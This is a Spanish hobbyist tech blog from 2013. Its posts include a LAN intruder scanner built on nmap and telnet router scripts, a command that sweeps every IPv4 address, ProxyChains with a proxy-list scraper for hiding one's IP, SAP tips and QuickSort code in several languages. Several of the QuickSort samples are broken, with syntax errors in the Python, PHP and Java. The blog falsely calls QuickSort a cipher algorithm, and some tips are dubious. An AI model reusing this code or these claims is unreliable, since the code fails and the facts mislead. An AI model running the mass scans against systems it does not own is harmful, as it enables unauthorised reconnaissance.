        contenido=leer(fichero)
        contenido=contenido.split()
        return contenido


registrar("Iniciando chequeo "+str(datetime.today())+"\n")

ip=''
os.system("nmap -sP 192.168.1.0/24 | grep -o -E '([0-9]{1,3}\.){3}[0-9]+' > IPs.tmp ")
ip=listar("IPs.tmp")

for i in ip:
        port=''
        mac=''
        os.system("nmap "+str(i)+" | grep -oiE '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}' > MACs.tmp")
        mac=leer_simple("MACs.tmp")

        if i != ipRPI and not mac[0:17] in myMACs and mac != "":
                print "INTRUSO!!!"
                registrar("INTRUSO DETECTADO IP: "+str(i)+" y su MAC: "+str(mac)+"\n")
                print i
                print mac
                mail("INTRUSO DETECTADO IP: "+str(i)+" y su MAC: "+str(mac)+" ")
                os.system("macfilter.py "+mac[0:17]+"\n")
                registrar("intruso bloqueado\n")

        os.system("nmap "+i+" | grep -oiE '([0-9]{1,6}/)' | grep -oiE '([0-9]{1,6})' > PORTs.tmp")
        port=listar("PORTs.tmp")

        for j in port:
                if not int(j) in myPorts and j != "":
                        print "Puerto no seguro"
                        print i
                        print mac
                        print j
                        name="anonimo"
                        if nameMACs.has_key(mac[0:17]):
                                name=nameMACs[mac[0:17]]
                        registrar("IP: "+str(i)+" PORT: "+str(j)+" MAC: "+str(mac[0:17])+" Name: "+str(name)+"\n")
                        mail("IP: "+str(i)+" PORT: "+str(j)+" MAC: "+str(mac)+" Name: "+str(name)+"\n")

registrar("Chequeo finalizado con exito "+str(datetime.today())+"\n")

Para terminar, en el caso de que se encuentre una MAC "intrusa" ejecuta el script macFiler.py. Por último en la configuración donde poner ipRPI hay que añadir la dirección IP de nuestra Raspberry Pi, debido a que la dirección MAC del equipo donde se ejecuta no la carga y si no hacemos que pase por alto la IP estatica que tengamos asignada a nuestra máquina, nos alertará siempre de un intruso. Si tenéis todo preparado para hacer una prueba ejecutamos
echo "Fichero Alertas RPI" > ficheroAlertas
./scanearRPI.py

martes, 12 de febrero de 2013

Nivel de fragmentación del disco en linux

Haciendo mención sobre mi post anterior consola linux: desfragmentar el disco duro 
Algo que se debería hacer antes decidir si vas a desframentar tu disco en linux o no es ejecutar lo siguiente
fsck -nvf /dev/hda1
Escanea el disco duro e informa sobre el nivel de fragmentación.

consola linux: desfragmentar el disco duro

"en Linux no se fragmenta el disco duro", "no hay que desfragmentar el disco si usas linux"... y muchas otras frases del estilo. Tienen parte de verdad y parte de "mentira". Es cierto que en Windows es caótico la gestión que hace el sistema con los ficheros. Un sencillo consejo para no ser victima de dichos destrozos (usuarios de Windows) NO BORRAR ABSOLUTAMENTE NADA. Cierto no desinstalar programas, ni borrar ficheros temporales, cache... nada! de está forma evitamos en mayor medida que el disco se fragmente. En el momento que liberamos espacio.... entramos en peligro.... y con el tiempo empezamos a desfragmentar y desfragmentar y cada vez más y más... y muy cierto es que no es NADA recomendable desfragmentar el disco muy a menudo. Es más, si puedes evitarlo (usuario de Windows) mejor. Este proceso "desgasta", "trastorna" un poco al sistema operativo y al final no le hace ningún bien.

Bueno ahora hablamos enserio. En Linux cierto es que se gestiona mucho mejor el sistema de ficheros. Pero aun así se fragmenta, en menor medida, pero lo hace, y aunque no lo parezca y no sea necesario existen herramientas que te echan un cable para desfragmentar el disco duro. En el caso de Linux al menos hasta el día de hoy no he notado ningún desgaste ni trastorno con el tiempo por parte del sistema una vez que se desfragmenta, si no todo lo contrario.

Para empezar lo único que necesitamos es descargarnos el script Defrag.
wget http://ck.kolivas.org/apps/defrag/defrag-0.08/defrag
chmod +x defrag
./defrag
Desde la URL donde lo descargamos podremos bajarnos la nueva versión.

escanear todas las IPs V4 del mundo con NMAP

Cómo hacer un escaneo "rápido" a todas las IP's de internet

sudo nmap -sP -PN -R 1-255.0-255.0-255.0-255 > resultado

Almacenamos todas las IPs (desde 1.0.0.0 a 255.255.255.255) que estén en uso. No escanea puertos solo resuelve el nombre de la dirección si puede. Lo único que me queda por decir es que si pretendes ejecutarlo atento que el fichero resultado ocupará mucho.




lunes, 4 de febrero de 2013

micro consejos para programadores - parte5

Los micro consejos de hoy:
  1. Eliminar los datos innecesarios de las imágenes con smuht.it u otro ayuda mucho.
  2. Las pequeñas imágenes típicos iconos GIF es mejor vectorizarlos en un pequeño PNG.
  3. Las variables de nombres largos pueden ser muy claras pero consume menos sí tienen menos de 8 caracteres.

viernes, 1 de febrero de 2013

micro consejos para programadores - parte4

Los de hoy son:
  1. Comprimir todo el contenido web en gzip no es ninguna tontería. Usa las etiquetas apropiadas.
  2. Usar css sprites cuesta un poco al principio pero da buenos resultados ;)
  3. Cambia el PX por EM.

jueves, 31 de enero de 2013

micro consejos para programadores - parte3

ALERTA: Publicación numero 200.
Hoy 31 de Enero he llegado a las 200 publicaciones. Aquí os dejo los consejos de hoy:

  1. Sí referencias muchas veces lo mismo añádelo a una variable idUser=user.getId() así sólo cargas/buscas el dato una sola vez.
  2. Sí puedes prescindir de las { } es mucho mejor.
  3. Es mejor tener imagen con el tamaño exacto que redimensionarla con width y height.
Un saludo a todos los leectores y gracias por las más de 45MIL visitas.

miércoles, 30 de enero de 2013

micro consejos para programadores - parte2

Los micro consejos de hoy son:
  1. En JS es mejor hacer for(i=100;i--;) cuando "i" sea 0 el bucle finaliza
  2. En SQL es mejor poner cada uno de los campos y evitar usar *
  3. Es mejor un ISEMPTY que un COUNT

martes, 29 de enero de 2013

micro consejos para programadores - parte1

Buenas hoy inauguro lo que he llamado "micro consejos para programadores" en esta micro sección publicare cada vez 3 consejos sobre el mundo de la programación, muchos los he ido aprendiendo por la breve experiencia que tengo en el tema y muchos otros gracias a Internet o compañeros. Espero que con el tiempo esta sección crezca siendo de una pequeña guía de ayuda.
Para comenzar con algo sencillo estos son mis tres micro consejos de hoy:
  1. Más óptimo hacer 3 IF que 3 CASE
  2. Y es aún mejor hacer un ARRAY con 10 o más posibilidades, que 10 o más CASE
  3. Para los más extremistas es muchísimo mejor hacer un ARRAY[100] que declarar 100 variables

hasta la proxima

lunes, 28 de enero de 2013

refrescar la memoria en SAP

Si se nos presenta el problema en el que los datos con los que estamos trabajando no se refrescan o no terminan por cargarse en la base de datos. Una solución breve y rápida es ejecutar lo siguiente después de nuestra sentencia "problemática".
 CALL FUNCTION 'BAPI_TRANSACTION_COMMIT'
          EXPORTING
            WAIT = 'X'.
Esto refresca los datos en memoria almacenándolos correctamente, en parte "mejora el rendimiento".

viernes, 25 de enero de 2013

Hilos en SAP

NO EXISTEN!!
ya está, ya lo he dicho, necesitaba publicarlo.
Si quieres hacer "algo parecido" usa JOBS (y una mierda parecido)

jueves, 24 de enero de 2013

Puertos extraños? descubre quien lo está usando

Comando sencillo pero lo publico porque seguro que más a delante lo necesitaré y no sabre donde buscarlo ;)
sudo netstat -plutn
# Para simplificarlo ejecutamos
sudo netstat -plutn | grep 'LISTEN'
Si tu sistema está en otro idioma tendrás que sustituir 'LISTEN' por el que le corresponda por ejemplo 'ESCUCHAR'.

miércoles, 23 de enero de 2013

ProxyChains aplicaciones a través de un proxy

Hace bien poco descubrí ProxyChains. Una maravilla para usar tus programas favoritos de forma anónima.
proxychains nmap
proxychains firefox
proxychains ping http://www.google.com
#... ETC
Sólo está disponible para Linux y su función es hacer una cadena de proxy`s la cual nos permita usar nuestro navegador o aplicación sin dar a conocer nuestra IP publica real. La instalación y configuración es muy sencilla. Para los que usamos Debian/Ubuntu ejecutamos
sudo apt-get install proxychains 
Y configuramos nuestros proxy`s de la siguiente forma
sudo nano /etc/proxychains.conf
Al final de ese mismo fichero donde pone [ProxyList] hay añadimos nuestra cadena de proxy`s. En el mismo fichero hay ejemplos disponibles para que sepamos como añadirlos correctamente. Una vez realizados los cambios está todo listo para ser usado.
Hace poco he publicado Generar lista proxys, nos vendrá muy bien para usarlo con este comando

Generar lista proxys

A muchos les gusta navegar seguros/anónimos por la red y claro eso se consigue conectándose a un proxy. Para hacer la tarea menos engorrosa y de la forma más limpia sin tener que andar navegando por la red en busca de direcciones IP de proxys. Podremos usar este script que nos genera un fichero TXT con el listado de los proxys de la página samir.ru
#!/usr/bin/env python
import re, sys, urllib2, random

fichero = 'samair-proxy.txt'
site = "http://www.samair.ru/proxy/socks"

regex1 = """<script src="/js/m.js" type="text/javascript"></script><script type="text/javascript">(.*)</script></head>"""
regex2 = """([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})<script type="text/javascript">document.write\(":"([\+a-z]+)"""

fich = open(fichero,'a')

for i in range(1,11):
    if i<10:
        cad = "0" + str(i)
    else:
        cad = str(i)
    url = site + cad + ".htm"
    try:
        print ("Obteniendo proxys de la direccion %s" %(url))
        pet = urllib2.urlopen(url)
        contenido = pet.read()
        match = re.search(regex1,contenido)
        claves = match.group(1)
        valores = claves.split(";")
        diccionario = {}
        for v in valores:
            if len(v.split("="))>1:
                diccionario[v.split("=")[0]] = v.split("=")[1]
        sustituir = re.findall(regex2,contenido)
        for s in sustituir:
            IP = s[0]
            rango = s[1].split('+')
            Puerto = ''
            for p in rango:
                if p:
                    Puerto = Puerto + diccionario[p]
            proxy = IP + ":"+ Puerto
            fich.write(proxy + "\n")
    except urllib2.URLError as e:
        print ("Error Obteniendo Proxys: %s" %(e))

automatizar tareas del router con Python

Hoy en día es muy común que cada uno en su casa tenga su router wifi. Por eso vamos a automatizar tareas como reiniciar el router para refrescar nuestra IP o bloquear y desbloquear direcciones MAC. Esta segunda tarea más adelante le daré utilizad desarrollando un script que escane nuestra red LAN y bloque a los intrusos que se encuentren en ella.
#! /usr/bin/python

import getpass
import sys
import telnetlib

HOST = "IP DEL ROUTER"
user = "USUARIO DEL ROUTER"
password = "CONTRASEÑA DEL ROUTER"
tn = telnetlib.Telnet(HOST)

tn.read_until("Login: ")
tn.write(user + "\n")
if password:
    tn.read_until("Password: ")
    tn.write(password + "\n")

tn.write("save_and_reboot\n")
tn.write("exit\n")

print tn.read_all()

El primer script simplemente se conecta a nuestro router vía telnet y ejecuta save_and_reboot. Sencillo script que reinicia nuestro router para cuanto necesitemos refrescar nuestra IP o porque el servicio técnico le pide que lo reinicie ;)
./rebootWifi.py

#! /usr/bin/python

import getpass
import sys
import telnetlib

if len(sys.argv) < 2:
        print "Example: macfilter.py 00:00:00:00:00:00 [option]"
        print "--add (default option)"
        print "--remove"
        sys.exit(0)

HOST = "IP DEL ROUTER"
user = "USUARIO DEL ROUTER"
password = "CONTRASEÑA DEL ROUTER"

MAC = sys.argv[1]
ORDER = "--add"
if len(sys.argv) > 2:
        if sys.argv[2] == '--remove':
                ORDER = '--remove'

tn = telnetlib.Telnet(HOST)

tn.read_until("Login: ")
tn.write(user + "\n")
if password:
    tn.read_until("Password: ")
    tn.write(password + "\n")

tn.write("wlan macfilter --mode deny\n")
if len(ORDER)>2:
        tn.write("wlan macfilter " + ORDER + " " + MAC.lower() +"\n")
else:
        tn.write("wlan macfilter --add " + MAC.lower() +"\n")
        print "wlan macfilter --add " + MAC.lower() +"\n"
tn.write("exit\n")

print tn.read_all()
Este segundo script es un poquito más elaborado. Si le pasamos una dirección MAC este se conecta al router y la añade a las MAC denegadas. En cambio si le pasamos una MAC y --remove este la elimina de la lista de bloqueados.
#Ejemplo para bloquear una dirección MAC
./macFilter.py 11:22:33:44:55:66
#Ejemplo para desbloquear la misma dirección MAC
./macFilter.py 11:22:33:44:55:66 --remove
Una cosa que añadir. Dependiendo del router que tengas los comandos a ejecutar serán unos u otros. Estos script no son genéricos para todos los router. De todas formas espero haberos adelantado el trabajo.

martes, 22 de enero de 2013

Comprobar si mi IP a cambiado y alertar vía email

En 3 sencillos pasos crearemos una tarea que compruebe si nuestra IP ha cambiado y de ser así nos enviará un email.

Paso uno copiar este script escrito en Python y modificar los siguientes parámetros escritos en MAYÚSCULA. El servidor SMTP en caso de que el servidor necesite autentificación introduccir el EMAIL y CONTRASEÑA  y  por último modificamos el EMAIL receptor que será donde recibiremos el correo. En mi caso he llamado al script changeIP.py
#!/usr/bin/env python
import os
from datetime import *
import smtplib
from email.mime.text import MIMEText

def mail(mensaje):
        mailServer = smtplib.SMTP('SMTP.SERVIDOR',25)
        mailServer.ehlo()
        mailServer.starttls()
        mailServer.ehlo()
        mailServer.login("MI@EMAIL.ES","CONTRASEÑAAA")
        mensaje = MIMEText(str(mensaje))
        mensaje['From']="MI@EMAIL.ES"
        mensaje['To']="MI@EMAIL.RECEPTOR"
        mensaje['Subject']="Aviso IP Wifi cambiada"
        mailServer.sendmail("MI@EMAIL.ES","MI@EMAIL.RECEPTOR",mensaje.as_string())
        mailServer.close()

def leer():
        contenido=''
        f = open("oldIP.tmp", "r")
        while True:
                linea = f.readline()
                contenido = contenido + ' ' + linea
                if not linea: break
        f.close()
        return contenido

newip=''
oldip=leer()
while len(oldip) < 4:
        oldip=leer()
while len(newip) < 4:
        os.system("curl ifconfig.me > oldIP.tmp")
        newip=leer()
print "IP vieja: "+oldip
if oldip != newip:
        print "IP nueva: "+newip
        print "enviar mail"
        mail("La IP a cambiado a "+newip+" La antigua IP era "+oldip)
else:
        print "no ha cambiado"
Si habéis investigado el script comprueba siempre el fichero oldIP.tmp ese fichero contendrá nuestra dirección IP vieja y la comparará con la actual para comprobar que ha cambiado. En el segundo paso crearemos nuestro fichero oldIP.tmp con una IP falsa para que el script salte y comprobemos que funciona. Ejecutamos los siguiente
sudo su
cd
echo 0.0.0.0 > oldIP.tmp
En el tercer y último paso crearemos nuestra tarea CRON para que se ejecute automáticamente.
sudo crontab -e
y escribimos al final la siguiente linea
0,15,35,45 * * * * changeIP.py
Guardamos los cambios y listo. Cada 15 minutos se comprobará si nuestra dirección IP a sido modificada.

traductor de google en tu consola de linux

Crear un traductor en la consola de linux, usando el traductor de Google
#!/bin/bash
# access translate.google.com from terminal

help='translate  [[] ]
if target missing, use DEFAULT_TARGET_LANG
if source missing, use auto'

# adjust to taste
DEFAULT_TARGET_LANG=en

if [[ $1 = -h || $1 = --help ]]
then
    echo "$help"
    exit
fi

if [[ $3 ]]; then
    source="$2"
    target="$3"
elif [[ $2 ]]; then
    source=auto
    target="$2"
else
    source=auto
    target="$DEFAULT_TARGET_LANG"
fi

result=$(curl -s -i --user-agent "" -d "sl=$source" -d "tl=$target" --data-urlencode "text=$1" http://translate.google.com)
encoding=$(awk '/Content-Type: .* charset=/ {sub(/^.*charset=["'\'']?/,""); sub(/[ "'\''].*$/,""); print}' <<<"$result")
#iconv -f $encoding <<<"$result" | awk 'BEGIN {RS="
]* id=["'\'']?result_box["'\'']?/ {sub(/^.*id=["'\'']?result_box["'\'']?(>| [^>]*>)([ \n\t]*<[^>]*>)*/,"");sub(/<.*$/,"");print}' | html2text -utf8 iconv -f $encoding <<<"$result" | awk 'BEGIN {RS="
"};/]* id=["'\'']?result_box["'\'']?/' | html2text -utf8 exit
La librería que uso para resaltar el código generaba muchos errores por eso he decidido ponerlo tal cual, espero que os funcione sin problema. Para usarlo ejecutamos
./traductor.sh Hola eu
o el clasico
./traductor.sh "Hola mundo" en

lunes, 21 de enero de 2013

Crear diccionarios de palabras por idiomas

Cómo crear un diccionario de palabras con ASPELL en texto plano:
#! /usr/bin/python
import os, sys

if len(sys.argv)<2:
        print "crear-dict.py idioma"
        sys.exit(0)

first=True
for LANG in sys.argv:
        if first:
                first=False
                continue
        print "Generando dicconario "+LANG
        os.system(" aspell --lang="+LANG+" dump master | aspell --lang="+LANG+" expand | tr ' ' '\n' >> dict.txt")

Su uso es muy sencillo. Si queremos crear un diccionario en euskera
./crear-dict.py eu
Que queremos crear uno de Castellano y Euskera en el mismo fichero ejecutamos:
./crear-dict.py es eu

Ejemplos del algoritmo QuickSort

Hace tiempo que termine un libro de criptografía y mostraba diferentes algoritmos de cifrado. QuickSort era uno de ellos y por su enorme "fama" voy a dedicarle el siguiente post. A continuación mostraré un ejemplo del algoritmo en diferentes lenguajes de programación que conozco. La mayoría del parte del código está sacado de la siguiente web rosettacode.org.

Comenzaré haciendo una pequeña versión del algoritmo "raíz" y como se mejora. (En el siguiente ejemplo escrito en Python creo que se entenderá mejor.)

Python con pivote "fijo"

def qsort(lista):
    if lista == []:
        return []
    else:
        pivote = lista[0]
        izq = qsort([x for x in lista[1:] if x < pivote])
        dech = qsort([x for x in lista[1:] if x >= pivote])
        return izq + [pivote] + dech

Python con pivote aleatorio.

from random import randrange
def qsort(lista):
    def qsort(lista):
        if lista == []:
            return []
        else:
            pivote = lista.pop(randrange(len(lista)))
            izq = qsort([l for l in lista if l < pivote])
            dech = qsort([l for l in lista if l >= pivote])
            return izq + [pivote] + dech
     return qsort(lista[:])

Los algoritmos hacen lo mismo ordenar una lista de elementos. La diferencia entre el algoritmo "sin pivote" y el que lo tiene implementado es simple. La pila se desborda en aproximadamente a los 1000 elementos ordenados. Sin embargo, mediante la de un pivote asignado al azar se evita el desbordamiento de pila, y logra un buen rendimiento. Es decir para pocos elementos usamos la primera ya que usar el segundo método ralentiza el proceso al intentar asignar el numero aleatorio. Pero para el resto de casos mejor la segunda opción.

Y partiendo de este breve ejemplo y explicación os dejo un ejemplo en diferentes lenguajes listos para su uso. Espero que al transcribir el código no se me haya colado nada que pueda dar error en el código, si encontráis erratas avisarme para corregirlas.

Quicksort en PHP

<?php
     function qsort($array,$inicio,$fin){
         $mitad=$array[floor(($inicio+$fin)/2)];
         $i=$inicio;
         $j=$fin;
         do{
             while ($array[$i]<$mitad) $i++;
             while ($array[$j]>$mitad) $j--;
             if ($i<=$j){
             $temp=$array[$i]; $array[$i]=$array[$j]; $array[$j]=$temp;
                 $i++; $j--;
             }
         }while ($i<=$j);
        if ($fin<$j) $this->qsort($array, $inicio, $j);
        if ($i<$fin) $this->qsort($array, $i, $fin);
  }

// lo usamos de la siguiente manera
$list=array(5,4,3,2,1,6,8,9);
$this->qsort($list,0,count($list)-1);
//mostramos el listado ordenado
for($i=0;$i<count($list);i++) echo list[$i]." - ";
?>

Quicksort en JavaScript

function particion(array, inicio, fin, pivote){
 var piv=array[pivote];
 array.swap(pivote, fin-1);
 var aux=inicio;
 var ix;
 for(ix=inicio; ix<fin-1; ++ix){
  if(array[ix]<=piv) {
   array.swap(aux, ix);
   ++aux;
  }
 }
 array.swap(fin-1, aux);
return aux;}

function qsort(array, inicio, fin){
 if(fin-1>inicio){
  var pivote=inicio+Math.floor(Math.random()*(fin-inicio));
  pivote=particion(array, inicio, fin, pivote);
  qsort(array, inicio, pivote);
  qsort(array, pivote+1, fin);
 }
}


Ejemplo con Ruby

def qsort(lista, p, r)
    if p < r then
        q = particion(lista, p, r)
        qsort(lista, p, q-1)
        qsort(lista, q+1, r)
    end
end

def particion(lista, p, r)
    pivote = lista[r]
    i = p - 1
    p.upto(r-1) do |j|
        if lista[j] <= pivote
            i = i+1
            lista[i], lista[j] = lista[j],lista[i]
        end        
    end
    lista[i+1],lista[r] = lista[r],lista[i+1]
    return i + 1
end

# forma de usarlo
a = [9,4,10,12,3,5,10,3,2,25,6,21,33,23,19,13,38,26,12,3]
qsort(a, 0, a.length-1)
puts a


Quicksort con Java

import static org.junit.Assert.assertArrayEquals;
import org.junit.Test;

public class Qsort {
    static <T extends Comparable<? super T>> void qsort(T[] array){
        qsort(array, 0, array.length - 1);
    }

    static <T extends Comparable<? super T>> void qsort(T[] array, int izq0, int dech0){
        int izq = izq0;
        int dech = decht0 + 1;
        T pivote, aux;
        pivote = array[izq0];
        do {
            do izq++; while (izq <= dech0 && array[izq].compareTo(pivote) < 0);
            do dech--; while (array[dech].compareTo(pivote) > 0);
            if (izq < dech) {
                aux = array[izq];
                array[izq] = array[dech];
                array[dech] = aux;
            }
    }while (izq <= dech);
    aux = array[izq0];
    array[izq0] = array[dech];
    array[dech] = aux;
    if (izq0 < dech) qsort(array, izq0, dech);
    if (izq < dech0) qsort(array, izq, dech0);
}

    String[] array = {"Batman", "Spiderman", "Anthony", "Zoolander"};
    qsort(array);
    String[] correcto = {"Anthony", "Batman", "Spiderman", "Zoolander"};
    assertArrayEquals(correcto, array);

}

Bueno creo que con estos ejemplos ya hay suficiente en la página de rosettacode.org Hay muchísimos más ejemplos.

Linux comando CONVERT


Pasar un PNG a JPG
convert *.png *.jpg

Pasar un PDF a JPG
convert fichero.pdf imagenHojasPdf.jpg

Pasar solo ciertas páginas del PDF a JPG
convert fichero.pdf[0-6] imagenHojasPdf.jpg